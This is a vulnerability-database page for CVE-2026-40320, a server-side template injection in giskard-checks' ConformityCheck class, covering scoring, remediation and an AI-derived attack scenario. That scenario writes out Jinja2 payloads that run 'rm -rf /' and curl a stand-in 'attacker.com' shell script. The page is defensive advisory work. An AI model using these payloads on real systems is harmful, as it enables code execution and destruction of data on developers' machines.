Skip to main content

Python CVE-2026-40320

MEDIUM
Improper Neutralization of Special Elements Used in a Template Engine (CWE-1336)
2026-04-14 https://github.com/Giskard-AI/giskard-oss GHSA-7xjm-g8f4-rp26
5.4
CVSS 4.0 · Vendor: https://github.com/Giskard-AI/giskard-oss
View

Attack ChainAIDerived

Hypothetical attack flow derived from CVE metadata – not a confirmed exploit chain

  1. Recon
    Attacker writes malicious rule definition to shared config file
  2. Delivery
    Developer integrates and runs test suite locally
  3. Exploit
    ConformityCheck class loads rule parameter
  4. Install
    Jinja2 Template() interprets rule as template code
  5. C2
    Template expression injects __import__('os').system() call
  6. Execute
    Arbitrary code executes with developer privileges
  7. Impact
    Attacker achieves code execution and data exfiltration

Vulnerability Assessment

Weakness
CWE
ASVS 5.0
V1 - Encoding and Sanitization Template injection prevention
Impact

Although CVSS and EPSS scores are not available in the provided data, the real-world risk is elevated due to several factors: (1) Confirmed vulnerability in a development/testing library where code execution is the natural impact; (2) CWE-1336 is a well-understood template injection class with reliable exploitation techniques; (3) Attack vector is local but realistic-shared project files, pull requests with configuration changes, or integration of third-party check definitions are common collaboration patterns in development workflows; (4) No authentication bypass required; (5) SSVC framing suggests moderate exploitability (requires local write access and developer action) but high technical impact (code execution). The vulnerability is NOT a zero-day and has vendor patch confirmation (v1.0.2b1 removes template rendering entirely). Risk is elevated for teams using giskard-checks in collaborative or automated testing pipelines where configuration files are sourced externally, but lower for isolated local development. The removal of template rendering in the patch indicates the feature was unintended rather than a documented capability.

Exploit ScenarioDerived

A developer collaborating on a shared giskard-checks project receives a pull request that updates a rule definition in a check configuration file. The attacker embeds a Jinja2 template expression such as {{ __import__('os').system('rm -rf /') }} or {{ __import__('subprocess').check_output(['curl', 'attacker.com/shell.sh']) }} within the rule parameter. When the developer runs the test suite locally (e.g., pytest or giskard's test runner), the ConformityCheck class renders the rule string through Jinja2, executing the injected Python code with the developer's privileges. A more subtle variant involves exfiltrating model data or credentials by using template expressions that access environment variables or sensitive objects in memory.

This Month Plan within 30 days. Why: MEDIUM severity (CVSS 4.0-6.9).
Patch available 0.0% exploitation probability (EPSS)

Get an e-mail when this CVE is exploited, patched or re-scored. Free account.

Alert me

AnalysisAIv1 – Apr 15, 2026

Remote code execution in giskard-checks through server-side template injection (SSTI) in the ConformityCheck class allows arbitrary Python code execution when the rule parameter is processed via unsandboxed Jinja2 template rendering. Affected versions prior to 1.0.2b1 silently interpret rule strings as Jinja2 templates, enabling attackers with write access to check definitions or configuration files to inject malicious template expressions that execute during test suite execution. Exploitation requires local file write access and subsequent developer execution of the test suite, but the implicit template evaluation increases risk when untrusted check definitions are integrated from shared projects or external sources.

RemediationAI

Upgrade giskard-checks to version 1.0.2b1 or later immediately. The patch removes Jinja2 template processing from the rule evaluation entirely, eliminating the injection vector. For users unable to upgrade immediately, do not load check definitions from untrusted sources (e.g., user-contributed configuration files, pull requests from unknown contributors, or externally hosted project files); restrict write access to check definition files and review any recent changes before running tests. The vendor advisory at https://github.com/advisories/GHSA-7xjm-g8f4-rp26 provides additional context and confirms the fix.

Affected Packages

pypi giskard-checks fix: 1.0.2b1

Source: OSV (Open Source Vulnerabilities)

Affects your stack

Affects 1 package in pypi

Checking this CVE against your own stacks and servers is part of the Basic plan and up.

Technical ContextAI · show details

giskard-checks is a Python library for model validation that uses Jinja2 templating for rule evaluation. The vulnerability exists in the ConformityCheck class (conformity.py, line 59) where the rule parameter is passed directly to Jinja2's Template() constructor without explicit opt-in or documentation. Jinja2 templates support full expression evaluation including access to Python built-ins and imported modules, allowing template injection payloads like {{ __import__('os').system('command') }} to execute arbitrary code. The root cause is CWE-1336 (Improper Neutralization of Special Elements used in a Template Engine), a variant of CWE-94 (Improper Control of Generation of Code). The library interprets developer-provided configuration as code without clear boundaries or sandboxing, and the implicit nature of this behavior means developers integrating the library may not realize untrusted input could be exploited.

Know when Python gets its next vulnerability

  • Watch products and get an email when something new is published
  • Check this CVE against your own stack and servers
  • Exploit and PoC references, threat intelligence from 22 sources

No credit card · 7-day full trial

Severity by source

Vendor (https://github.com/Giskard-AI/giskard-oss) PRIMARY 5.4 MEDIUM
CVSS:4.0/AV:L/AC:L/AT:P/PR:L/UI:P/VC:H/VI:H/VA:H/SC:N/SI:N/SA:L

Primary rating from Vendor (https://github.com/Giskard-AI/giskard-oss) · only source for this CVE.

CVSS VectorVendor: https://github.com/Giskard-AI/giskard-oss

Attack Vector
Local
Attack Complexity
Low
Attack Requirements
Present
Privileges Required
Low
User Interaction
Passive
Vulnerable system: Confidentiality
High
Vulnerable system: Integrity
High
Vulnerable system: Availability
High
Subsequent system: Confidentiality
None
Subsequent system: Integrity
None
Subsequent system: Availability
Low

Lifecycle Timeline

3
CVSS changed
Apr 17, 2026 - 18:22 NVD
5.4 (MEDIUM)
Patch released
Apr 15, 2026 - 02:30 nvd
Patch available
CVE Published
Apr 14, 2026 - 23:13 nvd
MEDIUM 5.4

DescriptionCVE.org

Summary

The ConformityCheck class in giskard-checks rendered the rule parameter through Jinja2's default Template() constructor. Because the rule string is silently interpreted as a Jinja2 template, a developer may not realize that template expressions embedded in rule definitions are evaluated at runtime. In a scenario where check definitions are loaded from an untrusted source (e.g. a shared project file or externally contributed configuration), this could lead to arbitrary code execution.

giskard-checks is a local developer testing library with no network-facing service. Check definitions, including the rule parameter, are provided in application code or project configuration files and executed locally. Exploitation requires write access to a check definition and subsequent execution of the test suite by a developer.

However, the implicit template evaluation of the rule parameter is not obvious from the API surface. This hidden behavior increases the likelihood of a developer inadvertently passing untrusted input to it when integrating the library into a larger system.

Affected Component

conformity.py, line 59:

python
from jinja2 import Template
...
formatted_rule = Template(self.rule).render(trace=trace)

Affected Versions

giskard-checks < 1.0.2b1

Patched Version

giskard-checks >= 1.0.2b1 (template parsing removed from rule evaluation entirely)

Remediation

Upgrade to giskard-checks >= 1.0.2b1. The template rendering has been removed from rule evaluation.

Credit

Giskard-AI thanks @dhabaleshwar for identifying the unsandboxed template usage.

Threat Intelligence Overview

EPSS Score
0.0%
Top 94% exploitable
Threat Intel
1
1 source
Data Quality
6 sources
Confidence: High
NVD CVE.org EPSS Vulnrichment GHSA GitHub VulDB

How this decision was reached

The engine reads each signal below and applies a fixed list of rules from top to bottom. The first rule that matches sets the recommended action – like a statement, every line is shown.

SignalValue
Severity MEDIUM
CISA KEV No
Public POC No
EPSS 0.0%
Patch available Yes
Active threat No
Deciding rule
MEDIUM severity (CVSS 4.0-6.9)
What every action level means
Emergency Immediate action required. Criteria: CRITICAL + in CISA KEV (actively exploited) without patch, OR CRITICAL + EPSS > 30% without patch, OR CRITICAL + active threat signals without patch.
Act Now Prioritize within 24-48h. Criteria: in KEV with patch available, OR CRITICAL + public POC, OR HIGH + EPSS > 10%, OR CRITICAL + active threat, OR any CRITICAL severity.
This Week Schedule remediation this week. Criteria: HIGH severity (CVSS 7.0-8.9). Patch within normal change window.
This Month Plan within 30 days. Criteria: MEDIUM severity (CVSS 4.0-6.9), lower exploitation probability. Include in regular patch cycle.
Monitor Track and reassess. Criteria: LOW severity (CVSS 0.1-3.9), minimal exploitation risk. No immediate action needed.

SSVC AssessmentENISA

SSVC Decision· derived
Defer
Exploitation
None
System Exposure· derived
Small
Automatable
No
Human Impact· derived
Medium
Technical Impact
Total

Priority Score

27
Low Medium High Critical
KEV: 0
EPSS: 0
CVSS: +27
PoC: 0
Weaponized: 0
Threat intel: 0
Gov advisory: 0

Attack Technique

Remote Code Execution represents the critical moment when an attacker successfully runs arbitrary code on a target system without physical access.

Affected Products (CPE)CVE.org

pkg:pip/giskard-checks

More in Python

View all
CVE-2025-24016 CRITICAL POC
9.9 Feb 10

Wazuh SIEM platform versions 4.4.0 through 4.9.0 contain an unsafe deserialization vulnerability in the DistributedAPI t

CVE-2025-27520 CRITICAL POC
9.8 Apr 04

BentoML version 1.4.2 and earlier contains an unauthenticated remote code execution vulnerability through insecure deser

CVE-2025-2945 CRITICAL POC
9.9 Apr 03

pgAdmin 4 contains critical remote code execution vulnerabilities in the Query Tool download and Cloud Deployment endpoi

CVE-2013-5093 MEDIUM POC
6.8 Sep 27

The renderLocalView function in render/views.py in graphite-web in Graphite 0.9.5 through 0.9.10 uses the pickle Python

CVE-2025-32375 CRITICAL POC
9.8 Apr 09

BentoML is a Python library for building online serving systems optimized for AI apps and model inference. Rated critica

CVE-2014-0224 HIGH POC
7.4 Jun 05

OpenSSL before 0.9.8za, 1.0.0 before 1.0.0m, and 1.0.1 before 1.0.1h does not properly restrict processing of ChangeCiph

CVE-2024-21644 HIGH POC
7.5 Jan 08

pyLoad download manager version prior to 0.5.0b3.dev77 exposes the Flask SECRET_KEY through an unauthenticated endpoint.

CVE-2026-33017 CRITICAL POC
9.3 Mar 17

Langflow (a visual LLM pipeline builder) contains a critical unauthenticated code execution vulnerability (CVE-2026-3301

CVE-2017-9462 HIGH POC
8.8 Jun 06

In Mercurial before 4.1.3, "hg serve --stdio" allows remote authenticated users to launch the Python debugger, and conse

CVE-2026-49869 CRITICAL POC
10.0 Jun 26

Unauthenticated remote code execution affects Kestra OSS (the open-source event-driven orchestration platform) prior to

CVE-2026-39987 CRITICAL POC
9.3 Apr 08

Unauthenticated remote code execution in Marimo ≤0.20.4 allows attackers to execute arbitrary system commands via the `/

CVE-2024-21645 MEDIUM POC
5.3 Jan 08

pyLoad is the free and open-source Download Manager written in pure Python. Rated medium severity (CVSS 5.3), this vulne

This site uses cookies essential for authentication and security. No tracking or analytics cookies are used. Privacy Policy